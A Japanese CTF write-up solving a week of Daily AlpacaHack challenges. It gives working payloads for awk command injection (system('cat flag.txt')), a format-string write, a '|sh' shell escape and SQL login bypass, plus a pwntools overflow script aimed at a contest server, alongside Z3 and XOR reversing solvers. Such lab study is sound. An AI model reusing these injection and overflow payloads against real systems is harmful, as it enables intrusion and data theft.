# Daily AlpacaHack Week 4 (2025-12-22 〜 2025-12-27) ## 12/22: Log Viewer (Web, Medium) app.pyを見てみると,クエリを入力しawkコマンドへ渡している. ```py command = ["awk", f"/{query}/", "info.log"] result = subprocess.run( command, capture_output=True, timeout=0.5, text=True, ) ``` 実際のコマンドは`awk "/{query}/" info.log`のような感じで,ユーザ入力のまま直接埋め込まれている. `timeout=0.5`となっているので,処理に時間のかかるようなクエリは通らない. クエリ前後の`/`を配慮してosコマンドが実行できないか考えた. - 基本文法は`/正規表現/ { アクション }`.`;`区切りで複数記述できる. - `BEGIN/END {アクション}`とすると,処理の最初/最後の一度のみ動作する. - ビルトイン関数に外部コマンドを実行する`system`がある. 実行したクエリは以下. `/{}; BEGIN { system("cat flag.txt") }; /dummy` ## 12/23: Rotten Beef (Pwn, Medium) ```c char buffer[12]; printf("input > "); scanf("%11s", buffer); printf("Your input: "); printf(buffer, &key, &dummy); ``` - `scanf("%11s", buffer)`のため入力は11文字まで. - `printf(buffer, &key, &dummy)`では入力をそのままのため,FSBが使える. 目標は`key`の値を`0xdead`から`0xbeef(48879)`に書き換えること. 実行したペイロードは以下. `%48879c%1$n` ## 12/24: cat3 (Misc, Medium) catコマンドの引数として入力できるが,3文字までという制限がある. シェルは`sh`で呼ぶとして,残り一文字をどうするか. とりあえずパイプしたところ通った. 入力値は以下. `|sh` ## 12/25: Xmas Login (Web, Easy) userを確認する. ```py if user[0] == "alpaca": return f"Hello, alpaca! Here is your flag: {FLAG_1}" elif user[0] == "reindeer": return f"Hello, reindeer! Here is your flag: {FLAG_2}" elif user[0] == "santa_claus_admin": return f"Hello, santa_claus_admin! Here is your flag: {FLAG_3}" ``` user毎にフラグが分割されているので,3回に分けて入手する必要あり. 条件として`len(username) > 12 or len(password) > 48`となっている. "santa_claus_admin"自体が18文字のため,Usernameはダミーを入力し,Passowrd欄でSQLiを検討する. 入力は次のようにした. - Username: `dummy` - Password: `' OR username = '<ここにuser>' ;-- -` ## 12/26: Useful Machine (Rev, Hard) AIに聞きつつ方針を模索した. 対応するopecodeについて整理していく. ```py if opcode == 0: # Input ch = self._read_input_char() self.mem[oprand1] = ord(ch) % 256 elif opcode == 1: # Immediate self.mem[oprand1] = oprand2 elif opcode == 2: # Move self.mem[oprand1] = self.mem[oprand2] elif opcode == 3: # Add self.mem[oprand1] = (self.mem[oprand1] + self.mem[oprand2]) % 256 elif opcode == 4: # Mul self.mem[oprand1] = (self.mem[oprand1] * self.mem[oprand2]) % 256 elif opcode == 5: # XOR self.mem[oprand1] = self.mem[oprand1] ^ self.mem[oprand2] elif opcode == 6: # NOT self.mem[oprand1] = 0 if self.mem[oprand1] != 0 else 1 ``` Input命令を数え,フラグ長を調べる. ```sh $ hexdump -v -e '3/1 "%02x " "\n"' program > hexdump.txt $ grep -cE "^00" hexdump.txt 40 ``` 最初は前から1文字ずつ確定させようと考えたが,うまく行かなかった. Z3を使って`mem[0] == 0`を逆算する方針とした. ```py import z3 def solve(): with open("program", "rb") as f: code = f.read() FLAG_LEN = 40 s = z3.Solver() # メモリをシンボリック変数(BitVecVal初期値0)で初期化 mem = [z3.BitVecVal(0, 8) for _ in range(256)] # 入力用のシンボリック変数 input_chars = [z3.BitVec(f"input_{i}", 8) for i in range(FLAG_LEN)] input_idx = 0 ip = 0 length = len(code) while ip < length: if ip + 2 >= length: break opcode = code[ip] op1 = code[ip + 1] op2 = code[ip + 2] ip += 3 if opcode == 0: # INPUT mem[op1] = input_chars[input_idx] # ASCII範囲制約 s.add(input_chars[input_idx] >= 0x20) s.add(input_chars[input_idx] <= 0x7e) input_idx += 1 elif opcode == 1: # IMM mem[op1] = z3.BitVecVal(op2, 8) elif opcode == 2: # MOV mem[op1] = mem[op2] elif opcode == 3: # ADD mem[op1] = mem[op1] + mem[op2] elif opcode == 4: # MUL mem[op1] = mem[op1] * mem[op2] elif opcode == 5: # XOR mem[op1] = mem[op1] ^ mem[op2] elif opcode == 6: # NOT mem[op1] = z3.If(mem[op1] == 0, z3.BitVecVal(1, 8), z3.BitVecVal(0, 8)) s.add(mem[0] == 0) if s.check() == z3.sat: m = s.model() flag = "".join([chr(m[input_chars[i]].as_long()) for i in range(input_idx)]) print(f"Flag: {flag}") else: print("UNSAT") if __name__ == "__main__": solve() ``` ## 12/27: simpleoverwrite (Pwn, Medium) `main`関数を見ると, - `char buf[10] = {0};`:スタック上に **10バイト** - `read(0, buf, 0x20);`:ユーザー入力から **32バイト** 確保されたサイズ以上にデータを書き込めるため,スタックバッファオーバーフローとなる. 以下,solver. ```py from pwn import * # context.log_level = 'debug' context.arch = 'amd64' exe = ELF('./chall') win_addr = exe.symbols['win'] info(f"win_addr: {hex(win_addr)}") padding = b'A' * 18 payload = padding + p64(win_addr) # p = process('./chall') # nc 34.170.146.252 59419 p = remote("34.170.146.252", 59419) p.send(payload) print(p.recvall()) ``` ## 12/28: cha-ll-enge (Rev, Medium) ELFバイナリではなくLLVM IR(中間表現)で記述されている. AIに解説してもらった. - **シンボル (`@` と `%`)** - `@`: グローバル変数や関数 (`@main`, `@__const.main.key` など)。 - `%`: ローカル変数やレジスタ (`%1`, `%2` など)。一度しか代入できないSSA (Static Single Assignment) という性質を持つ。 - **メモリ操作 (`alloca`, `load`, `store`)** - `alloca`: スタックにメモリを確保 (C言語のローカル変数宣言)。 - `store`: メモリに値を書き込む (代入)。 - `load`: メモリから値を読み出す。 - **配列アクセス (`getelementptr`)** - `getelementptr` (GEP) は、配列や構造体の要素のアドレスを計算するための命令。「`array[i]`のアドレスを計算する」といった処理に使われる。 - **制御フロー (`icmp`, `br`)** - `icmp`: 整数を比較する (if文の条件など)。 - `br`: 比較結果に基づいて分岐 (if文やforループのジャンプ)。 実際に確認してみる. - `@__const.main.key` という名前で50個の32ビット整数からなるグローバル定数配列が定義されており,これが鍵配列となる. - `strlen` でユーザー入力の長さを取得し、**49文字**であるかチェック ```llvm %12 = call i64 @strlen(i8* noundef %11) %13 = icmp eq i64 %12, 49 br i1 %13, label %14, label %48 ``` - 検証ループ箇所 ```llvm ; input[i] ^ key[i] %26 = xor i32 %22, %25 ; (input[i] ^ key[i]) ^ key[i+1] %31 = xor i32 %26, %30 ; 結果が0かどうかをチェック %33 = icmp eq i32 %32, 0 ``` 方針としては,すべての入力で`(input[i] ^ key[i]) ^ key[i+1]`を満たせば良い. ```py # LLVM IRコード内の @__const.main.key 配列データ keys = [ 119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7 ] flag = "" # input[i] = key[i] ^ key[i+1] を計算 for i in range(49): char_code = keys[i] ^ keys[i+1] flag += chr(char_code) print(f"FLAG: {flag}") ``` ## 感想 今週はコマンド・シェル・SQLiについてはすんなり解けた印象. 一方でREV系はAIに助けられながら雰囲気で追ってしまったところも多いので, 少しずつ自分で命令セットや「入力をどう変換・チェックしているか」の流れを読めるようになりたい.